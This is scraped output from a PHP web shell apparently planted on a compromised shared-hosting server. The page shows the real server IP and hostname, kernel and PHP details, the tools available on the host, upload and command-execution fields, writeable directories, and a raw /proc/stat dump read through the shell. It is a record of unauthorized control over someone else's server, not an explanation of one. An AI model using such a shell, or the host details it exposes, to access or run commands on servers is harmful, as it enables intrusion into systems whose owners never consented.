403Webshell
Server IP : 66.29.153.156  /  Your IP : 216.73.217.38
Web Server : LiteSpeed
System : Linux premium322.web-hosting.com 4.18.0-553.50.1.lve.el8.x86_64 #1 SMP Thu Apr 17 19:10:24 UTC 2025 x86_64
User : lastyfjz ( 1521)
PHP Version : 8.1.34
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /proc/thread-self/root/proc/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /proc/thread-self/root/proc//stat
cpu  20555821161 335825657 5971264718 51448041887 1111679796 0 817845461 24819751 0 0
cpu0 841590089 13974029 244693733 2158163856 45867398 0 44025082 996462 0 0
cpu1 858140781 14232219 250829508 2137509798 46349211 0 39049326 988970 0 0
cpu2 858409485 14365953 247927221 2140165947 46685355 0 37020088 986035 0 0
cpu3 863344138 14229706 253324994 2131560002 46781051 0 35183295 984294 0 0
cpu4 862911614 14173316 253247212 2139588501 47047380 0 28602775 976552 0 0
cpu5 864268912 14198568 253619648 2137887836 46822968 0 28580133 984945 0 0
cpu6 861349800 14289514 250689867 2144243265 47020720 0 27668604 974004 0 0
cpu7 861889800 14260735 251413765 2143301716 46990104 0 27339054 973722 0 0
cpu8 862717083 14073135 249646397 2137565469 46627332 0 32767507 977062 0 0
cpu9 854470239 13940447 245762273 2116968770 45216823 0 62192434 1262141 0 0
cpu10 860217038 13978426 248007496 2142022203 46573398 0 32491930 975812 0 0
cpu11 864797490 13902618 248840462 2134794212 45364875 0 30132185 1280810 0 0
cpu12 859884061 13787098 251374750 2139266620 46473113 0 32332944 976942 0 0
cpu13 860490812 13963017 248919318 2141440048 46508677 0 32161936 975091 0 0
cpu14 857426818 13928993 245996166 2147471805 46395206 0 32131200 975637 0 0
cpu15 857839693 13947622 247674519 2145468865 46468960 0 32043853 974542 0 0
cpu16 857526005 13765843 245936897 2147823959 46355368 0 31968871 974449 0 0
cpu17 856534677 13835644 247673288 2146997025 46436163 0 31926626 974311 0 0
cpu18 858641131 13929788 246357595 2145747496 46264274 0 32284514 983363 0 0
cpu19 855646427 13822228 247726785 2148202409 46250766 0 31813890 972711 0 0
cpu20 816032933 13857830 246790858 2192057436 46598590 0 27223855 993781 0 0
cpu21 847781143 13718319 247178308 2126536601 44900948 0 59115644 1414388 0 0
cpu22 854966920 13786324 246472886 2156885063 46440095 0 26014065 965676 0 0
cpu23 858944061 13864273 251160760 2146372975 45241011 0 23775637 1278038 0 0
intr 72278118242 61 13 0 0 1648 0 0 0 48 1 0 0 409 0 33639401 0 0 0 0 0 0 0 0 0 0 65 0 0 0 1459615731 1395679318 5 2989105771 3734145238 5 825235140 776912299 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
ctxt 982523306814
btime 1747996130
processes 3291675687
procs_running 14
procs_blocked 0
softirq 209022781924 1 144778087 63188 3828276678 1806508172 0 2908760375 860077098 8731462 1897091247

Youez - 2016 - github.com/yon3zu
LinuXploit